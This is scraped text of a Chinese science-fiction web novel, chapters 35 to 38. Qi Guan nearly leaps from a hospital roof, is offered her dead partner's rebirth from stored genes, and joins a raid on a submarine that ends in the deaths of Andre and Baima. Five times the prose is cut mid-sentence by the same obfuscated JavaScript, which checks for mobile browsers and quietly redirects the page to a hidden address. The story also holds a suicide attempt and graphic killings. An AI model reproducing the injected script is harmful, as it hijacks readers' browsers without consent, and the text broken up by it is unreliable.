里面堆放着的是多吉死去那晚,她穿的白T恤和白裤子。 裤子上沾满了土,而T恤上除了血污以外,左胸口上还有一个红褐色的笑脸。 齐观突然想起那晚多吉曾在她胸前轻点了几下,可她当时哭得太伤心并没有注意到。 “血污放久了就洗不掉了,要不我帮你扔了吧。一会儿燕铭会给你带新的衣服来。” “不,就放在这里。”齐观直直地盯着那个笑脸,许久,才起身走向病房门口。 “你要去哪儿啊?” “卫生间。”齐观轻飘飘地说。 齐观避开了人流,推开楼梯间的门,向上走去。刚爬了一层,她就感觉心跳加速了起来,浑身都有些供血不足,身体都不像自己的了。 “齐观,少吃点零食。” “不要,还给我嘛。” …… “今天不太热,我们出去走走吧。” “不要,我不想动。” …… “早点睡,明天还要上班呢。” “不要,再来一次。” …… 她该听多吉的话的,也许爬这几层楼就不会这么累了。 医院天台上晒着许多白床单,此刻正迎着夕阳与海风飞舞。齐观一身病服穿过这片金色的海浪,抬脚站上天台的边缘。 海风向她吹来,温暖潮湿的感觉又让她想到多吉的怀抱。 “多吉,如果只是活着我可以答应你,可你要我怎么快乐呢?” 齐观张开双臂拥向海风,只要往前走一步,一切就都结束了…… 病房外,燕铭推着一副空轮椅,轮椅上放着的是一套新衣服。他探头看向病房,却发现里面空无一人。 燕铭以为齐观宁愿拖着虚弱的身体独自出院,也不想再见他,心情顿时低落了许多。 他刚要推着轮椅离开,从隔壁查完房的麦小满便喊住了他:“燕铭!齐观刚才去卫生间了,你在这等一会儿吧。” 走廊尽头的电梯门开了,周文涛跟在李竞阳的轮椅后朝齐观的病房走来。 “齐观呢?”周文涛问。 “在卫生间。”燕铭答。 李竞阳操纵着轮椅围着这花园似的病房转了一圈,笑着说:“效果比我想象的还要好。” 轮椅停在了床头,打开的床头柜门吸引了李竞阳的目光,那个由干涸的毒血组成的寥寥三笔的笑脸让她心中升起一种不好的预感。 “她离开多久了?”李竞阳问。 麦小满看了一眼手表,表情有些凝固:“十……十分钟。” 李竞阳一拍轮椅扶手:“立刻去找!” 麦小满只以为齐观是体力不支晕在哪了,急忙冲进最近的女卫,挨个推起了门。 一扇扇门“砰砰”地向内砸去,直到推上一扇锁住的门。 “齐观!你在里面吗?”麦小满猛拍着问。 “有人!不要敲了!” 门里的人传出十分不满的骂声,麦小满这才意识到不对劲。 她出了卫生间,见李竞阳已经带人赶到,立刻答:“她不在。” 李竞阳在走廊里了起来,见楼梯间虚掩着,便说:“文涛跟着我去顶楼,你们两个沿着楼梯找上来。” 燕铭和麦小满连忙跑上了楼梯,李竞阳也和周文涛进入了电梯。 “首长,你担心……” “嗯。” 两人率先赶到天台,果然在天台的尽头看到了齐观的背影。 周文涛正要跑上前,李竞阳操纵轮椅拦住了他。 “这道关,她得自己过。” 李竞阳忧心忡忡地望着那道瘦弱的身影,她在等待一个结果。 齐观依旧站在那天台的边缘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140665|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受风,感受太阳最后的热度。 日光一丝一缕地抽离大地,她想起那天多吉也是这样变冷的。 她想起自己似乎从没有完整地看过一次日落,因为当人注意到日落时,日落已经处在进行时。 就这样吧,她决定和太阳一起沉入海面。 突然,一阵猛烈温热的海风吹来,把齐观向后吹了一个趔趄。 两行泪瞬间滑落,快到连齐观自己都不知道她为什么在哭。 “多吉,是你吗?是你要我留下吗?” 眼泪止不住地流,齐观终于忍不住放声大哭,如果有重来一次的机会,她绝不会再拒绝多吉任何的要求。 可她没有,她只能接受多吉最后的要求。 太阳跌入地平线,街道上的行人渐渐多了起来。人们相遇又分离,创造了或长或短又终将结束的故事。 齐观满脸是泪地回过身走下天台边缘,抬头却看到了正等着她的人群。 “好孩子,来。”李竞阳上前抓住了齐观的手,“跟我来。” 一行人乘电梯回到了病房。 “请关一下门。”李竞阳对麦小满说。 麦小满关上了门,却发现屋里的人还都看着自己。 “哦哦。”她一拍脑门,连忙拉开门,把自己也关了出去。 李竞阳看向齐观,吐字气息微弱却字字力胜千钧:“齐观,基因库里是有多吉的基因的,我可以让他重新活过来,算是对你的补偿。只不过是会以新生儿的形态。” 齐观呆愣在原地,不知该作何反应。 可没等齐观反应过来,周文涛立刻反对道:“首长,安塔岛从立岛之初就禁止使用个人基因进行新生儿孕育,所有新生儿的基因必须是融合基因。如果开了这个先例,岂不是所有失去重要之人的人都可以要求他们死而复生。” 李竞阳却完全没有理会周文涛的反对,对燕铭说:“能做到吧?” 燕铭也没想到李竞阳会提出这个要求,但眼下自己有机会亲手弥补对齐观的亏欠,他自然要抓住。 “能,能的。”燕铭点头如捣蒜。 李竞阳笑着对齐观说:“那么你呢?愿意接受吗?” 齐观以为自己会想也不想地答应,但话语就在喉头却说不出口。 难道她要把多吉再次带回这个世界吗? 再次降生在这个不断缩小,资源日渐枯竭的小岛,他会不会怪自己呢? 齐观眉头紧锁,半天没有说话。 “如果你想好了,可以随时和燕铭说。文涛,你和我来。” 周文涛一脸不快地和李竞阳离开了房间,齐观呆坐在病床上没有说话。 “小观,这次不一样了。”燕铭陪着她在病床上坐下,“你已经知道自己能做什么了,只要你活着,他就能活着。如果他真的对你那么重要,为什么不给他一次完整的生命呢?” 齐观只觉得心中豁然开朗,也许她并不眷恋这个世界,可多吉是那么一个充满希望的人,他怎么会不渴望获得完整的一生呢? “燕铭哥,你真的能让他回来吗?”两滴泪落下,打湿了齐观腿上薄薄的病号服。 “保证还你一个一模一样的。”燕铭笑着说。 “好。”齐观忍不住掩面哭泣,只是这次落下的是喜悦的泪水。 36. 第36章 齐观在燕铭家休息了一天,身体恢复了些力气。 燕铭正着手将多吉的基因制成人工干细胞,形成胚胎则还需要些时间。为了给多吉的胚胎创造营养环境,齐观又被抽去了一点造血干细胞,不过对身体也没什么影响。 以前齐观从没生过什么大病,还以为是自己深居简出的缘故,原来是在源头就被身体消灭了。 再次走在路上,齐观即使独身一人,也好像多吉就在自己身边。 周文涛昨天发来消息让她歇好了就去研究所找他,也不说是什么事,她只好先去了再说。 研究所外表看起来只是一座占地面积不大的四层小楼,玄机都藏在地下,按体积来说,半座岛都是研究所,另半座则是仓库。 这还是齐观第一次踏进研究所。 两天没见,周文涛憔悴了不少,嘴唇上几乎没有什么血色。 “你看起来好多了。”周文涛说。 “你看起来不太好。” 周文涛没有回答,转身带着齐观往电梯走。 “血库和药品还是不够吗?”齐观问。 “没有,岛上的生产秩序已经基本恢复了。” 周文涛在电梯上刷了他的身份卡,人脸识别的界面通过后,几乎所有层的电梯按钮都亮了起来,除了负11层。 周文涛抬手按下了最下面的负20。 电梯下降的速度很快,级数不断减少,齐观从下降的时间判断,他们已经来到了海平面以下。 电梯门缓缓打开,眼前所见的巨物让齐观的脚步不由得一顿。 这一层足足有十米高,长宽目测有两百多米。正中间盘踞的是一艘如外星飞船一般的扁圆形战机,流畅的线条如被海水冲刷多年的鹅卵石。银灰色的机身泛着冷冽的光芒。机身正中是半圈特制的强化玻璃,隐隐能看见里面有人正在调试设备。 “这是由我主设计的海空两栖战机——击浪号,很漂亮吧。”周文涛看向战机的眼神,就像看着自己孩子一样,“海军已经确认,危害安塔岛的人只有一艘潜艇。你有一天时间熟记这架战机的所有操作,随后你将和本次入选的士兵一起出任务。” “我吗?”齐观的眼中满是震惊,“可是秘书处那边……” “报名登上希望号的人并不多,没有多少信息审查的工作。各单位都忙着恢复各自的秩序,也没有重要的会要开,你就在这里安心学就好了。况且那艘潜艇上的人害死了多吉,难道你不想去报仇吗?” 虽然刚刚过去的一周给齐观带来了极大的痛苦,但新生儿培养仓只需七个月就能诞生下健康的婴儿,届时多吉将会重新降临在这个世界,她也将有机会看到他们没相遇时多吉的样子。 坦白来讲,此刻她心中并没有多少恨意。 齐观不解地问:“可是我又能做什么呢?和那些训练有素的士兵相比,我好像起不到什么作用。” “让你上舰是首长的命令,你需要记住这架战机是如何操作的。至于任务的事,我们觉得如果你在的话,得到的信息会更多。” 机舱门突然打开,那是一扇三米多宽的厚重大门,在打开的同时门板自动拆解重组为一阶阶楼梯,灵巧丝滑如一支小小的机械臂。 白玛从门的正中下来,走到了他们二人面前。 “周副首。”白玛敬礼道,“执行本次任务的小队已经全部就位,请指示。” “齐观也会参与本次任务的执行,务必让她熟练掌握所有位置的操作。” 白玛的眼中闪过一丝讶异,但很快调整了表情。 “是。”白玛应道,“跟我来吧。” 齐观登上战机,阶梯在她身后自动收回,大门再次严丝合缝地紧闭。 战机内部只开了通道底部的应急灯,通道狭窄,齐观只觉得眼前黑乎乎的,有些喘不上气。 白玛在一道门前停下,让齐观站到了门侧的验证器前录入了人脸识别。 门开了,齐观的眼前豁然开朗。 拱形的主控室里站着的坐着的共有不到十个人,几名身着白大褂的研究员正围着那一圈外玻璃下的显示屏测试设备精度。中间的会议桌旁坐了三个穿着作战服的人,正浏览着手中的显示屏。 齐观猜测他们就是被选中执行本次任务的小队,好在这其中有两幅她熟悉的面孔。 姚望宇和里昂见了齐观先是一愣,随后飞快地对视了一眼,姚望宇便起身走向齐观。 “你怎么来了?”她关切地问。 齐观刚要回答,就听见白玛从她身旁走过说:“现在没有给你们叙旧的时间,先开会。” 姚望宇耸耸肩,并不在意白玛的严肃语气。她拉着齐观的手,坐到了里昂刚搬过来的位子上。 白玛走到会议桌的正前方,沉声说:“无论是影响海蛇的信息素还是致人内出血的水蛭素,对方的准备时间都不会短。所以我们此次的任务,就是在对方进行补给时进行突袭。屏幕上是海军投放的仿生检测设备传回的视频。” 白玛按下遥控器,会议桌桌面的大屏幕突然有了画面。 画面的视角正在不断向前游动,远远从海面之下看到一艘漂浮在海面上的潜艇,潜艇里伸出的线连接着同样漂浮着的巨大的太阳能板。 镜头越来越近,投射入海面的阳光随着海浪波动,潜艇的轮廓也越来越清晰。 “AU-85,这是一艘澳洲产潜艇,最后一条生产线已经在120年前随着澳洲大陆沉入海底了。”白玛说。 坐在白玛身侧的海军军官曾良接过了白玛的话:“陆地面积越来越小,全球已经没有大型船舶的生产线了,连维修能力都是个问题。各大洲的舰艇基本都处于超期服役的状态,至于报废的舰艇基本都是漂泊在海上的平民在用,也并不具备什么作战能力。所以当我们发现对方只有一艘潜艇也是很意外的,这几乎形成不了任何战力。” “听起来我们这次的任务并没有什么难度?”姚望宇问。 白玛:“不好说,对方对生物毒素的运用很出乎我们的意料,而且对方应该在反雷达涂料上是有一定的储备的,我们很难发现对方的踪迹。而且海上的渔船很多,对方会在其他渔船附近出水,为避免误伤,我们无法使用导弹攻击。不过……” 白玛话音刚落,一条捕鱼用的电击探棒从潜艇内部发射出来,击中了仿生海龟,视频直接中断。 曾良信心十足地说:“要么对方的探测系统不是太灵敏,距离已经这么近了才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148657|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现信号波动,要么就是根本没有远途打击武器。而以击浪号的动力系统,躲避世界上现存的过时导弹完全不成问题。” 听了两人的话,作战小队所有人的表情都轻松了些。 白玛:“接下来,航空所的研究员将会为大家讲解战机的构造与操作。战机的系统高度自动化,学起来并不会很困难,请大家务必尽快掌握,出发时间定在明天的黎明。” 战机是三层的圆饼式结构,底层是机载武器装备及推进器,中层是主控室及人员活动区,上层则是信号检测设备。 研究员详解了每层的分布后,继续带领队员们熟悉操作。 “这是击浪号目前所有的机载武器,绿色是可使用的,消耗掉的位置则会显示红色。”研究员指了指武器界面上密密麻麻的各种型号的导弹,“不过你们只要能在近战时对潜艇上的反雷达涂料涂层进行破坏就够了,火力打击会由军舰完成。” 白玛提出异议:“可是击浪号的火力打一艘老潜艇似乎能更快结束战斗。” 研究员:“不,击浪号上的武器一定要能省则省,毕竟它不是现阶段计划启用的战机。” “哦?那原计划是准备什么时候用?”曾良问。 “这个我就不清楚了,我们之前得到的指令一直是暂不启用。这次临时选人来进行操作学习,也是因为没想到现阶段还有隐形作战的潜艇。”研究员伸手向前方,“我们继续吧。” 一整天的学习很快结束,击浪号的休息室放不下这么多人,后勤部给任务小队和研究员在空地上的搭了几个帐篷用于休整。 晚上还要进行作战模拟,齐观留在了主控室继续看资料。 这些操作对于常年操控军械的士兵来说并不是很难掌握,但对于齐观来说一切都是全新的,好在她并不觉得枯燥,反而感到十分新奇。 武器发射、雷达监测、导航及战机状态监控……齐观专心致志地翻阅着研究员留下的资料,完全没有注意到白玛默默站在了她身边。 “你应该还没完全恢复吧。先吃饭吧。”白玛将晚饭摆在了齐观面前,坐在了她身侧。 “啊……谢谢。”齐观的表情有些不自然,毕竟她对白玛的印象都来自多吉。 “多吉的事,大家都觉得很遗憾。注意身体。” 齐观从白玛的语气判断他应该是误会了她现在的心情,但燕铭说多吉的事不能告诉任何人,她不得不回避这句问候。 “谢谢,我以为你和多吉关系不太好。” “失去一个那样优秀的战友,肯定是很可惜的事。况且我不是讨厌他,而是……嫉妒他。”白玛苦笑了一声,“这么年轻就遇到了值得相守一生的人,还受到了上级的赏识,升任了队长。当你在低谷时,别人的幸福会显得格外刺眼。” 齐观对白玛突然的坦诚有些不知所措,就连白玛自己也有些尴尬。 “我也不知道为什么突然和你说这些,可能是觉得欠多吉一句抱歉吧。”白玛起身将椅子推回桌下,“作战模拟对你来说不是必要的,早点休息吧。” “白玛。”齐观出声叫住了他,“其实很多事情,你都不必太过抱歉的。” 白玛没有回头,只是说:“早点休息。” 37. 第37章 “出口闸门已开启。” “进水量98%……99%……100%,环境进水完成。” 击浪号所在的楼层已全部被海水灌满,透过主控室的玻璃窗,齐观只能看到黑暗浑浊的海水。 舱内所有人已就位,伴随着主推进器一级加速启动的指令,战机尾部的两组推进器开始旋转加速。击浪号缓缓加速驶出山体,并在距离山体一公里的位置停下。 “出水准备,三,二,一。” 底部副推进器启动,齐观瞬间感到一股强大的向下的惯性,不由得抓紧了座椅上的扶手,又摸了摸安全带卡扣是不是扣牢了。 击浪号快速攀升,几秒之后便劈开浪涛从海面一跃而起。太阳刚刚从海平面升起,天空刚刚只有几分亮色,渐变的青蓝色从东铺到西,海面则是深蓝上泛着丝丝金光。 在岛上待得久了,人们早已忽略世间依旧有这样壮丽的景色。 “副推转一级,主推三级,加速准备,三,二,一。” 空中加速比在海里快了一大截,巨大的音爆声响起,又是一股强大的力把齐观拍在椅背上。 海军已经提前拆走了敌方留存在海面上的太阳能板,在过去的三天里,潜艇时不时冒出海面充电,在雷达信号屏上出现一阵后又消失。海军派了两艘护航舰在潜艇可能行进的路线上进行干扰,迫使潜艇减少充能的时间,一直呆在他们的伏击圈里。 仅仅20分钟后,击浪号就已经出现在离岛1000公里的天空中,雷达显示屏上是星星点点的渔船。 飞船缓缓降落在海面上,接下来他们要做的就是等待。 太阳如一个极慢的指针缓缓升起,飞船的四周只有毫无差别的碧海青天。 “出现了!”白玛大声说,“西偏角34度,85公里,全体起飞准备。” 飞船立刻从海面升起,推进器点火后的飞船如子弹出膛,转眼间便飞抵潜艇上空。 飞船俯冲而来的音爆声过于引人注意,潜艇的太阳能板几乎已经完成折叠,马上就要再次沉入海底。 “它在躲我们!一定是它!”里昂喊道。 姚望宇当机立断:“组炮准备!发射!” 十发电磁炮一溜烟地打在潜艇之上,激起巨大的水花,被击穿的太阳能板冒出股股黑烟,再也无法收回。 “打中了!”白玛喊道,“雷达持续监测!” 潜艇很快没入水中,而雷达上的亮点却并没有消失。 “02护航舰请立刻进行导弹攻击!”曾良向对讲机喊道。 飞船再次回到高空,三分钟后,一枚导弹从破空而来,鱼雷从导弹中分体,直插入海面。 十几秒后,海面的波纹骤起。 飞船紧跟着入水,直奔潜艇而去。水下500米,几乎完全没有光线,飞船打开探照灯,朝潜艇的顶端发射出两只机械爪。 机械爪三下五除二就拆开了潜艇顶部的鱼雷舱,果然是空空如也。 飞船再次攀升,十米长的软绳瞬间绷直,拉起不断下坠的潜艇。 “二十公里外有一座小岛,我们先在那里停靠等护航舰。”曾良说。 不多时,小岛便近在眼前,飞船出水将潜艇拖到了岸上。 这是一座无人小岛,虽然也属于喜马拉雅山脉,但露出海面的部分连半亩地都不到,可谓沧海桑田。 白玛急着说道:“潜艇进水的时间只有十几分钟,我们立刻上舰搜寻,很可能还有幸存者。” 队员们戴上防毒面具后便下了飞船,白玛用切割枪割开了潜艇顶部被炸开的裂缝,率先进入潜艇。 潜艇内部十分狭窄逼仄,他们一路小心翼翼地搜寻,可别说幸存者了,连一具尸体都没看到。 “这别是艘鬼船吧?”里昂感觉后背有些发凉。 姚望宇照着他后脑勺给了一个暴栗:“别说傻话。” “可这怎么一个人都没有啊?潜艇总不能自己动吧。”里昂小声吐槽。 他们目光所及的每间舱室中都有大量的实验设备,这艘潜艇好像一座可以航行的实验室。 “怪不得能搞出来那么多毒素。”齐观喃喃道,她突然想起那个因为父母无法进入而与蝠翼人联合的兰登,问道:“会是被拒绝入岛的人的蓄意报复吗?” 白玛否定道:“不会,有这样研究能力的人是不会被拒绝入岛的,毕竟流落在外反而会造成危害,大概率是从未申请过上岛。” 地上散落了些打碎的玻璃瓶和被水泡了的文件,但是大家手上都没有防护,便也没有人去捡。 落在队伍最后的齐观俯身捡了几张起来,文件上的笔迹被水泡了已经不是很清晰,内容则是中英夹杂。 “信息素合成……蛋白分子式……这是?”齐观不由得瞪大了眼睛,她看到落款写着:Andre,16th,Sep. 指尖传来隐隐的灼烧感,齐观连忙把文件丢回水里,跟上依旧在前头搜寻的队员们,脚步踩上船舱内残留的水噼啪作响。 手电筒扫过,白玛在尽头的驾驶舱门口看到了一只苍白干瘦的手。 “有人。”他轻声说。 白玛迈入驾驶,看见地上仰面躺了个人。他的头发金黄卷曲,肤色苍白到能清晰地看到手臂上青紫色的血管,身上的衣服已经完全被海水泡湿,腿部微微渗出血红。 白玛上去朝着那人的身体踢了一脚,然而那人没有任何反应。白玛并没有放松警惕,蹲下用枪顶着那人的头,另一只手摸向那人的颈动脉。 “嘶。”白玛感到后颈有一丝刺痛,忍不住伸手去摸,却感到眼前一阵眩晕。 队员们见白玛颈间多了一根细细的针,立刻举枪向针可能飞来的方向射击,船舱内一时火花四溅,曾良甚至被反弹回的子弹打中了小腿。 一片混乱之中,躺在地上的那人突然睁开双眼,抬手直接扭掉了白玛的枪,起身将在手里攥了许久的小手术刀架在了白玛的脖子上。 “都别动!”他大声喊,迅速转到了白玛身后,把白玛拖拽到墙边,“把枪放下!不然我就杀了他!” “不许放!”白玛使出全力喊道,但声音已经微弱到变形,身体也无法动弹。 队员们一时都有些为难,没人知道白玛脖子上的那根针到底给他注射了什么,更难以预料的是对方还会使用什么攻击手段,手中的枪是他们最有效的反击手段。 齐观是小队中唯一没有佩戴武器的人,她心中虽然万分紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153753|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但还是举起双手摊开手掌走上前去。 “别过来!”那人紧张地喊叫起来,他颤抖的手不自觉地用锋利的刀片在白玛的脖子上割出细微的血珠。 “安德烈是你的名字吗?”齐观突然问。 那人的身形明显一顿,眼神虽然依旧充满了警戒与癫狂,但并没有否认。 “我可以这样称呼你吗?安德烈?”齐观蹲下身来与他平视,见他的皮肤虽然因为缺少日照十分细嫩白皙,但眼角的皱纹和颈部松弛的皮肉却表明他已经上了年纪。 “让他们把枪放下,把防毒面具摘了,不然我现在就杀了他!”安德烈继续喊着。 齐观不得不回头看向身后的三人,犹豫地说:“可不可以……” 姚望宇偷瞄了一眼手表,估摸着护航舰应该快到了,只要他们能控制住局面就够了,便示意里昂和曾良一起把枪放下,顺手摘了防毒面具。 “我们已经按你说的做了,可以把刀放下了吗?”齐观宽慰道。 安德烈的视线扫向齐观身后那三个训练有素的军人,又把视线落回眼前这个文弱的女人。 “你过来,当我的人质。”安德烈紧张地咽了一口口水。 “可以,但有了我这个人质后,你又能去哪呢?”齐观尽可能说得柔和些,“潜艇已经无法再使用了,你伤害了岛上这么多人,难道还指望岛上给你逃生的器具吗?跟我们走吧,用你的能力也许还能赎一些罪。” 安德烈一听这话就红了眼睛,好像心中有万般委屈无人诉说,“赎罪?我有什么罪?如果不是各大洲对沉没的澳洲大陆视而不见,我们又怎么会一直漂泊?” “澳洲大陆?”齐观不解,“不是一百多年前就已经全部沉没了吗?怎么会和你有关系呢?” “如果不是我的祖辈不甘就这么寂寞地死去,又怎么会有我的诞生?归根结底还是你们的错!更让我没想到的是你们竟还能造的出离开地球的飞船?你们竟然还能离开?” 安德烈大声怒吼着,队员们交换着眼神,随时准备捡枪射击。 齐观依旧没有放弃劝说,“安德烈,你想登上飞船吗?把刀放下跟我们走吧,说不定一切还有转机。” 安德烈低头思索着,只要能登上那艘飞船,他就有机会夺取驾驶权,撞上发射平台!想到这里,他握刀的手激动地颤抖,在白玛的脖子上留下了数道划痕。 安德烈突然抬头盯住了齐观:“你走过来,带我去你们的飞船,别想耍花招。” 沉默许久的白玛嗤笑了一声:“你休想再威胁一个人质,你对安塔岛做的那些事也没有什么效果,伤员基本都恢复了。无论你有什么阴谋,都别想成功。” “你说什么?”安德烈的眼神先是慌乱了起来,转瞬又被暴怒代替,他将手术刀狠狠压在白玛脖子上,那刀片太过锋利,直接割进了肉里。鲜血瞬间从白玛的伤口流了下来。 齐观刚想制止白玛不要在继续激怒安德烈,却发现白玛正在悄悄活动双手。 安德烈看向那破败的走廊,顶部由于鱼雷的打击甚至已经透光了,门板也已经变形无法打开,就算有人质他也很难拖着这条伤腿登上飞船。安德烈的眼中闪过决绝与悲愤,“玛丽亚,释放毒气。” 38. 第38章 众人连忙掩住口鼻向四周寻去,却一个人都没有看到。正当他们意外时,耳边突然响起一道温柔苍老的女声。 “未监测到防毒面具,我不能执行你的命令。” 队员们抓住机会立刻拿回了地上的枪,三把枪同时直指安德烈。 “所有人都不许动!不然我就杀了他!”安德烈尖叫起来,“玛丽亚!立刻释放毒气!” 潜艇顶部的一圈屏幕上同时出现了一张女人的脸,齐观抬头去看,发现那张脸上充满悲伤的眼睛竟和安德烈十分相像。 “安德烈,我不能执行你的命令,你也会死的。” 那女声依旧温柔,但苍老的声音却和年轻的容貌有些不相符。 安德烈的脸因为愤怒变得十分狰狞,他不得不起身去抢夺白玛身侧的枪,自己打爆隐藏在屏幕后的毒气罐。 白玛颈间的压力陡然减小,他抬手便拽住安德烈持刀的手,一个反拧就将安德烈按在地上,夺了刀架在安德烈的脖子上。 安德烈猛烈挣扎着,像一条刚被钓上岸的鱼,他不甘心地嚷叫着:“你怎么还能动?” “这还要多亏你在我脖子上开的这几道口子,麻醉的效果减了不少啊。”白玛将安德烈猛地往地上一撞,“如果你能上岛,只会有一件在等着你,那就是接受你的审判和惩罚!” 驾驶舱内瞬间响起急促的警报声,警示的红光照在了每个人的脸上。 “检测到危险!检测到危险!”玛丽亚的声音陡然增大,紧随其后的是几道强烈的激光射线。白玛身上瞬间灼烧出好几条血肉模糊的伤口,伤口的周围被烧成焦褐色,可他仍旧死死地压住安德烈不松手。 “立刻放开安德烈,否则我会加大激光功率,你会死的。”玛丽亚威胁道,怒意却不似人类的浓重。 “不可能!”白玛咬牙切齿地说,“他害死岛上那么多人,必须受到应有的惩罚!” 玛丽亚倒数起来:“三,二……” “白玛!”齐观高喊着打断了玛丽亚的倒数,“你先放开他吧,有激光在我们现在带不走安德烈,但潜艇已经无法回到海里,我们随时可以回来谈判。玛丽亚,我们不会伤害安德烈,可以让我们离开吗?” “可以。”玛丽亚平静地说。 “走吧,白玛。你需要得到治疗。”齐观说着就要上前去搀扶白玛。 “不,你看不出来吗?就算人工智能放了我们,这家伙也会想办法拉着我们同归于尽的!要是给了他时间喘息,谁知道他又能搞出什么来!” 白玛的眼神十分决绝,话也发了狠:“什么口供不口供的,我根本不在乎,也根本不想知道这个变态脑子里到底在想什么,但岛上不能再有无辜地人死掉了!”说罢他猛地攥紧了手中的手术刀,一下就割开了安德烈的喉咙。 几乎在白玛动手的同时,几道强烈的激光射向他的右手和胸膛。两人的血液飞溅,染红了齐观白T恤和半张脸,她甚至能看到白玛被激光切开的手腕上的白骨。 齐观一时被吓得呆在原地,姚望宇立刻扑向她,翻滚着将她护在了墙边。 让所有人意外的是,玛丽亚直接停止了攻击,她的声音再次响起:“抱歉,我没能保护好你。” “终于……结束了……”安德烈的脖子还在汩汩冒血,他却释然地闭上了双眼。 玛丽亚随即停止了工作,消失在屏幕之上。 里昂连忙跑到白玛身边将他扶了起来:“还能坚持吗?飞船上有急救设备,我们现在就回岛,你一定会得救的!” 白玛用左手摸向自己心口的血洞,脸上带着满足的笑容摇了摇头。“不,就这样。我一直想等一个机会,好死得有价值一点,这样她见到我的时候就不会怪我了。” “白玛,你……还没走出来吗?都过了这么久了……”里昂说着说着就带了哭腔。 “这不是时间能解决的问题。”白玛的伤口一刻不停地淌血,语气也越来越虚弱,可他还是安慰里昂说:“不疼的,麻醉还没有完全散尽。” 白玛又颤抖着手从胸前的衣服里拉出一个心型的吊坠,黄铜的外壳因为长时间的触摸变得光滑,还有些掉色。 “无论他们怎么处理我的骨灰,都要把这个吊坠和我的骨灰放在一起。”白玛顿了顿,嘴角升起一抹自嘲的笑,“不过新家园那么远,想要投胎过去还真是不容易啊。” 里昂满眼是泪地看向身后正护着齐观的姚望宇,这个队里最年轻的十九岁的大男孩还不习惯面对死亡。 可姚望宇却只是摇摇头,以白玛的伤势就算有齐观给他输血也是不够的,勉强支撑着回到岛上也可能因脑缺血对身体功能造成不可逆的损伤。她见过杰佛森艰难复健的样子,也许对于白玛来说,在这里结束生命反而是最好的选择。 靠坐在墙边的齐观迷茫地看着眼前的一切,用只有自己能听到的声音说:“我救不了他,为什么?为什么还是有人会死在我面前呢?” 眼前的血泊让齐观真切地意识到,她并不是万能的,她再一次不确定让多吉重新诞生在这个世界上是否正确了。 “我累了,先睡了,你们要保重。”白玛的上下眼皮不断地粘合又分开,最终还是缓缓地闭上了。 倒在一旁的安德烈的胸膛也停止了起伏,潜艇中只剩下从顶部传来的海浪声。 许久,里昂抹了眼泪说:“走吧,兄弟,我带你回去。” 里昂背起白玛,齐观和姚望宇跟着他向外走去。曾良则联系了已经停靠近岸的护航舰,让他们派人来整理潜艇上的东西。 飞船很快回到了岛上,齐观洗去了脸上的血迹,独自回到了燕铭家。 屋子并不大,只有两间卧室。燕铭把优优的房间腾给了齐观,让方静竹带着优优住在主卧,自己则在客厅打地铺。 还没到下班放学的时间,家里一个人都没有。为了防止家具被阳光晒得快速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157950|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老化,窗户被拉上了厚厚的窗帘。 在昏暗的光线中,齐观默默在门口的鞋柜换好了拖鞋。 她的视线落在进门的柜子上两张合照,一张新的是燕铭一家三口,另一张发黄发旧的,则是年轻的燕铭和齐观一家。 齐观从柜子上取下那张旧照片,坐到了靠窗的沙发上,窗台的微光照在她的身上,形成淡淡的光晕。 如果她没有猜错的话,玛丽亚就是安德烈的母亲。人工智能可以通过老年的相貌计算出年轻的样子,但声音的年龄却无法回溯。 也许玛利亚最终还是后悔了吧,生下一个孩子孤独地面对这个残酷的世界,才留下数据化的自己陪伴安德烈。 齐观隔着时间与照片中的父母对视,想问问他们孕育一个生命的意义到底是什么? 门口传来把手转动的声音,燕铭看见黑乎乎的屋里有个人影吓得差点儿喊出声。 “小观?”燕铭一边拍着胸脯顺气一边往前走,看见齐观衣服上的血迹又吓了一跳,“你怎么了?我现在就送你去医院!” “我没事,这不是我的血。”齐观一把拉住了惊慌失措地燕铭。 燕铭借着微光看齐观脸色没什么不对劲的,才放下心来。 